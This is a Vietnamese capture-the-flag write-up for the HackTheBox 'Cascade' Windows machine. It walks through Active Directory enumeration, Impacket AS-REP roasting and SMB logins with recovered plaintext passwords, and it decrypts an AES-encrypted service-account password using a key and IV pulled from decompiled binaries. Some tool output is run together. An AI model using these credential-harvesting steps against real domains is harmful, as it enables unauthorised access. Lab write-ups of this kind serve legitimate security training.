Cascade là bài thứ mấy mình chơi với machine Windows trên hackthebox cũng không nhớ nữa, chỉ nhớ là bài này mình làm vào đúng tối sinh nhật năm nay của mình. Là một bài khá hay với LDAP, mình đã học hỏi được rất nhiều thứ từ bài này. Nhìn lượt vote cũng thấy được bài này chủ yếu sử dụng kỹ thuật Enumeration. Hi vọng writeup này giúp ích gì được cho các bạn đọc bài này :P.
Tuy nhiên mình đang tập trung chủ yếu vào Group này vì thấy nó lạ lạ, có linh cảm cần phải tấn công vào đây.
1
Group 'AD Recycle Bin' (RID: 1119) has member: CASCADE\arksvc
Loay hoay 1 hồi nhưng chẳng phát hiện được gì tại đây cả.
Mình thử khá nhiều trường hợp, lấy ra 1 list user rồi cho vào GetNPUser.py cũng không dump được hash passwd nào
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
➜CascadesudoGetNPUsers.pycascade.local/-usersfileuser-formatjohnImpacketv0.9.22.dev1+20200327.103853.7e505892-Copyright2020SecureAuthCorporation[-]KerberosSessionError:KDC_ERR_CLIENT_REVOKED(Clientscredentialshavebeenrevoked)[-]Userarksvcdoesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.smith doesn'thaveUF_DONT_REQUIRE_PREAUTHset
[-]Userr.thompsondoesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User util doesn'thaveUF_DONT_REQUIRE_PREAUTHset
[-]Userj.wakefielddoesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.hickson doesn'thaveUF_DONT_REQUIRE_PREAUTHset
[-]Userj.goodhanddoesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User a.turnbull doesn'thaveUF_DONT_REQUIRE_PREAUTHset
[-]KerberosSessionError:KDC_ERR_CLIENT_REVOKED(Clientscredentialshavebeenrevoked)[-]KerberosSessionError:KDC_ERR_CLIENT_REVOKED(Clientscredentialshavebeenrevoked)[-]Userd.burmandoesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User BackupSvc doesn'thaveUF_DONT_REQUIRE_PREAUTHset
[-]Userj.allendoesn'thaveUF_DONT_REQUIRE_PREAUTHset
[-]KerberosSessionError:KDC_ERR_CLIENT_REVOKED(Clientscredentialshavebeenrevoked)[-]KerberosSessionError:KDC_ERR_CLIENT_REVOKED(Clientscredentialshavebeenrevoked)
Ở đây mình nhận được 1 đoạn string cascadeLegacyPwd: clk0bjVldmE= có lẽ là passwd cũ hoặc passwd mặc định, sử dụng passwd này thử với tất cả user bên trên xem đăng nhập được với user nào không, đầu tiên phải decode passwd ra trước đã
Đầu tiên mình thử với Evil-WinRM nhưng mà k hoạt động, sau đó mình thử với smb thì được 1 tài khoản r.thompson
1
2
3
4
5
6
7
8
9
10
11
12
13
➜ Cascade sudo smbclient.py r.thompson:rY4n5eva@10.10.10.182
Impacket v0.9.22.dev1+20200327.103853.7e505892 - Copyright 2020 SecureAuth Corporation
Type helpfor list of commands
# sharesADMIN$
Audit$
C$
Data
IPC$
NETLOGON
print$
SYSVOL
Sau khi khám phá toàn bộ nội dung được shares trên smb, mình lấy được file Meeting_Notes_June_2018.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<p>For anyone that missed yesterdays meeting (Im looking at
you Ben). Main points are below:</p><pclass=MsoNormal><o:p> </o:p></p><p>-- New production network will be going live on
Wednesday so keep an eye out for any issues. </p><p>-- We will be using a temporary account to
perform all tasks related to the network migration and this account will be deleted at the end of
2018 once the migration is complete. This will allow us to identify actions
related to the migration in security logs etc. Username is TempAdmin (password is the same as the normal admin account password). </p><p>-- The winner of the Best GPO competition will be
announced on Friday so get your submissions in soon.</p>
Thử tìm kiếm xung quanh nhưng không phát hiện ra được gì nhiều, thử đăng nhập tài khoản s.smith với dịch vụ SMB xem có đang được chia sẻ dữ liệu gì không.
➜ ~ sudo smbclient.py s.smith:sT333ve2@10.10.10.182
Impacket v0.9.22.dev1+20200327.103853.7e505892 - Copyright 2020 SecureAuth Corporation
Type helpfor list of commands
# sharesADMIN$
Audit$
C$
Data
IPC$
NETLOGON
print$
SYSVOL
# use Audit$# lsdrw-rw-rw- 0 Thu Jan 30 01:01:26 2020 .
drw-rw-rw- 0 Thu Jan 30 01:01:26 2020 ..
-rw-rw-rw- 13312 Wed Jan 29 04:47:08 2020 CascAudit.exe
-rw-rw-rw- 12288 Thu Jan 30 01:01:26 2020 CascCrypto.dll
drw-rw-rw- 0 Wed Jan 29 04:43:18 2020 DB
-rw-rw-rw- 45 Wed Jan 29 06:29:47 2020 RunAudit.bat
-rw-rw-rw- 363520 Wed Jan 29 03:42:18 2020 System.Data.SQLite.dll
-rw-rw-rw- 186880 Wed Jan 29 03:42:18 2020 System.Data.SQLite.EF6.dll
drw-rw-rw- 0 Wed Jan 29 03:42:18 2020 x64
drw-rw-rw- 0 Wed Jan 29 03:42:18 2020 x86
Chúng ta lấy được chương trình CaseAudit.exe và thư viện CascCrypto.dll dùng để mã hoá. Trong thư mục DB cũng lấy được 1 file db sqlite3.
Nội dung file db
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜ Cascade sqlite3 Audit.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help"for usage hints.
sqlite> .table
DeletedUserAudit Ldap Misc
sqlite> select * from DeletedUserAudit
...> ;6|test|Test
DEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d|CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local7|deleted|deleted guy
DEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef|CN=deleted guy\0ADEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef,CN=Deleted Objects,DC=cascade,DC=local9|TempAdmin|TempAdmin
DEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a|CN=TempAdmin\0ADEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a,CN=Deleted Objects,DC=cascade,DC=localsqlite> select * from Ldap;1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local
sqlite> select * from Misc;sqlite>
Chúng ta lấy được 1 đoạn encrypt bằng base64. Tuy nhiên sau khi giải mã thì dường như đoạn mã hoá này phải thêm 1 bước giải mã nữa. Thực hiện decompile CaseAudit.exe và CaseCrypto.dll bằng dotPeek để xem chương trình thực hiện mã hoá và giải mã như nào.
File CaseCrypto.dll
Thực hiện giải mã với AES 128 bit, sử dụng mode CBC, khoá IV = 1tdyjCbY1Ix49842
Tiếp tục biên dịch file CaseAudit.exe
Đoạn code sẽ truy vấn vào bảng LDAP trong CSDL rồi thực hiện encrypt với key=c4scadek3y654321. Sử dụng key và IV để giải mã.
Vậy ta thu được mật khẩu của user ArkSvc:w3lc0meFr31nd
Thực hiện đăng nhập với Evil-WinRM và chúng ta có
Kiểm tra 1 chủ thấy người dùng Arksvc thuộc Group AD Recycle Bin
Sử dụng winPEAS.exe cũng không thu được kết quả gì, do mình thuộc Group AD Recycle Bin, nên mình có thể tìm kiếm được đã có những Account nào đã bị xoá.